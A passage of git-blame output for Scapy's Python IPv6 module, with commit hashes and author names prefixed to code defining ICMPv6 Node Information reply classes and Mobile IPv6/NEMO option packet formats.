2435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,tmp = val
2436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if tmp is None:
24371186356a1d73fd59b700d8af05e789d0e8899de6gpotter            tmp = b""
2438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 2:
2439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl,dnsstr = tmp
2440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s+ struct.pack("!I", ttl) + dnsstr
2441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 3:
24421186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0])+inet_pton(socket.AF_INET6, x_y1[1]), tmp))
2443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 4:
24441186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0])+inet_pton(socket.AF_INET, x_y2[1]), tmp))
2445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + tmp
24470d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2448c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2449c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        code = getattr(pkt, "code")
2450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if code != 0:
24511186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s, (0, b"")
2452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        qtype = getattr(pkt, "qtype")
2454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 0: # NOOP
24551186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s, (0, b"")
2456c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 2:
2458c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if len(s) < 4:
24591186356a1d73fd59b700d8af05e789d0e8899de6gpotter                return s, (0, b"")
2460c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl = struct.unpack("!I", s[:4])[0]
24611186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b"", (2, [ttl, s[4:]])
2462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 3: # IPv6 addresses with TTLs
2464c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : get the real length
2465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
2466c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while len(s) >= 20: # 4 + 16
2467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl = struct.unpack("!I", s[:4])[0]
2468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ip  = inet_ntop(socket.AF_INET6, s[4:20])
2469c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append((ttl, ip))
2470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s = s[20:]
2471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (3, res)
2472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 4: # IPv4 addresses with TTLs
2474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : get the real length
2475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
24760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            while len(s) >= 8: # 4 + 4
2477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl = struct.unpack("!I", s[:4])[0]
2478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ip  = inet_ntop(socket.AF_INET, s[4:8])
2479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append((ttl, ip))
2480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s = s[8:]
2481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (4, res)
2482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : implement me and deal with real length
24841186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b"", (0, s)
2485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2487c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "[]"
24890d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2490d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(x, tuple) and len(x) == 2:
2491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            t, val = x
2492c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if t == 2: # DNS names
2493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl,l = val
2494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = dnsrepr2names(l)
2495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return "ttl:%d %s" % (ttl, ", ".join(l))
2496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif t == 3 or t == 4:
2497d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter                return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val)))
2498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return repr(val)
2499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return repr(x) # XXX should not happen
2500c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# By default, sent responses have code set to 0 (successful)
25020d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6):
2503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - NOOP Reply"
2504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 140, icmp6types),
2505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code", 0, _nireply_code),
2506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortEnumField("qtype", 0, icmp6_niqtypes),
250877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("unused", 0, 10),
25090d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    FlagsField("flags", 0, 6, "TACLSG"),
251077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    NonceField("nonce", None),
2511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIReplyDataField("data", None)]
2512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25130d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyName(ICMPv6NIReplyNOOP):
2514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Node Names"
2515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 2
2516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP):
2518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - IPv6 addresses"
2519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 3
2520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25210d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP):
2522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - IPv4 addresses"
2523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 4
2524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2525c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP):
2526c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Responder refuses to supply answer"
2527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    code = 1
2528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP):
2530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Qtype unknown to the responder"
2531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    code = 2
2532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef _niquery_guesser(p):
25357b3e970663abd72697e17b70aba9943ae0dad404Phil    cls = conf.raw_layer
2536b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter    type = orb(p[0])
2537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if type == 139: # Node Info Query specific stuff
2538c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if len(p) > 6:
2539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            qtype, = struct.unpack("!H", p[4:6])
2540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = { 0: ICMPv6NIQueryNOOP,
2541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    2: ICMPv6NIQueryName,
2542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    3: ICMPv6NIQueryIPv6,
25437b3e970663abd72697e17b70aba9943ae0dad404Phil                    4: ICMPv6NIQueryIPv4 }.get(qtype, conf.raw_layer)
2544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    elif type == 140: # Node Info Reply specific stuff
2545b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter        code = orb(p[1])
2546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if code == 0:
2547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if len(p) > 6:
2548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                qtype, = struct.unpack("!H", p[4:6])
2549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = { 2: ICMPv6NIReplyName,
2550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        3: ICMPv6NIReplyIPv6,
2551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP)
2552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif code == 1:
2553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = ICMPv6NIReplyRefuse
2554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif code == 2:
2555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = ICMPv6NIReplyUnknown
2556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return cls
2557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2559c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2560c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###             Mobile IPv6 (RFC 3775) and Nemo (RFC 3963)                ###
2562c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2563c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2564c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 ICMPv6 related classes
2566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6HAADRequest(_ICMPv6):
2568c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Home Agent Address Discovery Request'
2569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 144, icmp6types),
2570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("R", 1, 1, {1: 'MR'}),
2574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 15) ]
2575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)+self.payload.hashret()
2577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25780d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6HAADReply(_ICMPv6):
2579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Home Agent Address Discovery Reply'
2580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 145, icmp6types),
2581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2583c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("R", 1, 1, {1: 'MR'}),
2585c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 15),
2586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6ListField('addresses', None) ]
2587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)+self.payload.hashret()
2589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, ICMPv6HAADRequest):
2592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 0
25930d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        return self.id == other.id
2594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25950d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6MPSol(_ICMPv6):
2596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Mobile Prefix Solicitation'
2597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 146, icmp6types),
2598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2601c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("res", 0) ]
2602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def _hashret(self):
2603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)
2604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2605c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Mobile Prefix Advertisement'
2607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 147, icmp6types),
2608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
26110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}),
2612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 14) ]
2613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)
26150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return isinstance(other, ICMPv6MPSol)
2618c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 Options classes
2620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mobopttypes = { 2: "Binding Refresh Advice",
2623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 3: "Alternate Care-of Address",
2624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 4: "Nonce Indices",
2625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 5: "Binding Authorization Data",
2626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 6: "Mobile Network Prefix (RFC3963)",
2627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 7: "Link-Layer Address (RFC4068)",
26280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                 8: "Mobile Node Identifier (RFC4283)",
2629c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 9: "Mobility Message Authentication (RFC4285)",
2630c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 10: "Replay Protection (RFC4285)",
2631c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 11: "CGA Parameters Request (RFC4866)",
2632c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 12: "CGA Parameters (RFC4866)",
2633c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 13: "Signature (RFC4866)",
2634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 14: "Home Keygen Token (RFC4866)",
2635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 15: "Care-of Test Init (RFC4866)",
2636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 16: "Care-of Test (RFC4866)" }
2637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _MIP6OptAlign:
26400d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    """ Mobile IPv6 options have alignment requirements of the form x*n+y.
26410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    This class is inherited by all MIPv6 options to help in computing the
26420d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    required Padding for that option, i.e. the need for a Pad1 or PadN
26430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    option before it. They only need to provide x and y as class
2644c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    parameters. (x=0 and y=0 are used when no alignment is required)"""
2645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos):
2646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      x = self.x ; y = self.y
2647c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      if x == 0 and y ==0:
2648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          return 0
264963ae11708b02df74dd3e8d2385d2829f3d622d66gpotter      delta = x*((curpos - y + x - 1)//x) + y - curpos
2650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      return delta
26510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptBRAdvice(_MIP6OptAlign, Packet):
26540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = 'Mobile IPv6 Option - Binding Refresh Advice'
2655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 2, _mobopttypes),
2656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 2),
26570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ShortField('rinter', 0) ]
2658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 2 ; y = 0# alignment requirement: 2n
2659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptAltCoA(_MIP6OptAlign, Packet):
2661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Alternate Care-of Address'
2662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 3, _mobopttypes),
2663c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("acoa", "::") ]
2665c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 6 # alignment requirement: 8n+6
2666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptNonceIndices(_MIP6OptAlign, Packet):
2668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Nonce Indices'
2669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 4, _mobopttypes),
2670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField('hni', 0),
2672c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField('coni', 0) ]
2673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 2 ; y = 0 # alignment requirement: 2n
2674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26750d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptBindingAuthData(_MIP6OptAlign, Packet):
2676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Binding Authorization Data'
2677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 5, _mobopttypes),
2678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField('authenticator', 0, 96) ]
2680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 2 # alignment requirement: 8n+2
2681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963
2683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'NEMO Option - Mobile Network Prefix'
2684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
26855bbe280843fec8d5955914c78f52cb9cef7d61a4Phil                    ByteField("olen", 18),
2686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("reserved", 0),
2687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
2688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix", "::") ]
2689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 4 # alignment requirement: 8n+4
2690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068
2692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Link-Layer Address (MH-LLA)"
2693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 7, _mobopttypes),
2694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 7),
2695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("ocode", 2, _rfc4068_lla_optcode),
2696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("pad", 0),
2697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lla", ETHER_ANY) ] # Only support ethernet
2698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2700c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283
2701c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Mobile Node Identifier"
2702c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 8, _mobopttypes),
2703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="id", fmt="B",
2704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+1),
2705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("subtype", 1, {1: "NAI"}),
2706c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("id", "",
2707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen-1) ]
2708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
27100d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We only support decoding and basic build. Automatic HMAC computation is
27110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# too much work for our current needs. It is left to the user (I mean ...
2712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# you). --arno
2713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5)
2714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Mobility Message Authentication"
2715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 9, _mobopttypes),
2716c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="authdata", fmt="B",
2717c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+5),
2718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option",
2719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 2: "MN-AAA authentication mobility option"}),
2720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mspi", None),
2721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("authdata", "A"*12,
2722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen-5) ]
